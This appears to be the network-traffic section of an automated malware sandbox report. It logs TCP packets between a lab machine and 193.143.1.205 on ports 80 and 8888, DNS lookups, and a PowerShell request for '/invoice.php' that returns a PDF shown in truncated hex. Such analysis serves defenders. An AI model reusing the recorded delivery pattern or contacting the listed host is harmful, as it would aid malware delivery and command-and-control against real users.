Jan 11, 2025 07:02:15.004883051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004890919 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004945993 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004980087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004988909 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005014896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005048037 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005054951 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005089998 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005132914 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005141973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005175114 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005208969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005218029 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005242109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005279064 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005285025 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005330086 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005364895 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005374908 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005417109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005450964 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005462885 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005485058 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005521059 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005528927 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005553961 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005587101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005597115 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005620956 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005654097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005666971 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005690098 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005723000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005733013 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005768061 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005811930 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005821943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005872965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005908012 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005918026 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.005942106 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005975962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.005985022 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006031036 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006066084 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006077051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006094933 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006129026 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006139994 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006184101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006230116 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006234884 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006270885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006303072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006320953 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006336927 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006371021 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006376028 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006405115 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006438017 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006445885 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006472111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006515026 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006522894 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006557941 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006589890 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006602049 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006623983 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006670952 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006675005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006711006 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006743908 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006755114 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006778955 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006813049 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006823063 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006846905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006889105 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006897926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006932020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006966114 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.006978035 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.006999969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007031918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007057905 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007066965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007102966 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007112980 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007137060 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007169962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007181883 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007205009 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007246017 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007255077 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007289886 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007328987 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007344961 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007385969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007419109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007431984 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007452011 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007486105 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007514000 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007519960 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007555008 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007564068 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007589102 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007622957 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007628918 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007656097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007689953 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007695913 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007723093 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007755995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007761002 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007791042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007823944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007841110 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007857084 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007890940 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007900000 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007930040 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.007973909 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.007980108 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008017063 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008049965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008065939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008083105 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008116961 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008126974 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008151054 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008184910 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008192062 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008219957 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008254051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008274078 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008287907 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008321047 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008332968 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008357048 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008389950 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008399010 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008424044 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008456945 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008471012 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008491039 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008523941 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008533001 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008558035 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008590937 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008603096 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008625984 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008660078 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008673906 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008694887 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008728027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008740902 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008763075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008795977 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008811951 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008830070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008863926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008874893 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008898020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008932114 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008944035 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.008966923 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.008999109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009010077 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009032965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009064913 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009078026 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009099007 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009133101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009141922 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009166956 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009201050 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009207964 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009233952 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009267092 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009280920 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009299994 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009334087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009346008 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009367943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009401083 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009411097 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009433985 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009468079 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009478092 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009501934 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009536982 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009543896 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009571075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009603977 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009613991 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009638071 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009670973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009680986 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009706020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009738922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009749889 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009773970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009805918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009816885 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009844065 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009876966 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009888887 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009911060 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009943962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.009958029 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.009977102 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.010011911 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.010021925 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.010046005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.010078907 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.010092020 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.010112047 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.010145903 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.010157108 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.060148954 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.216200113 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.435444117 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.858983040 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.865151882 CET	8888	49708	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.865310907 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.865515947 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.870374918 CET	8888	49708	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:16.648729086 CET	8888	49708	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:16.700815916 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:16.903119087 CET	49708	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:02:23.594938040 CET	53182	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:02:23.594938040 CET	192.168.2.8	1.1.1.1	0x5704	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:02:23.601655960 CET	1.1.1.1	192.168.2.8	0x5704	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:02:25.018543959 CET	1.1.1.1	192.168.2.8	0x7c6a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:02:25.018543959 CET	1.1.1.1	192.168.2.8	0x7c6a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	193.143.1.205	80	7752	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:02:12.817143917 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:02:13.633348942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:02:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:02:13.633388996 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:02:13.633538008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:02:13.633593082 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 07:02:13.633646965 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 07:02:13.633683920 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 07:02:13.633716106 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 07:02:13.633753061 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
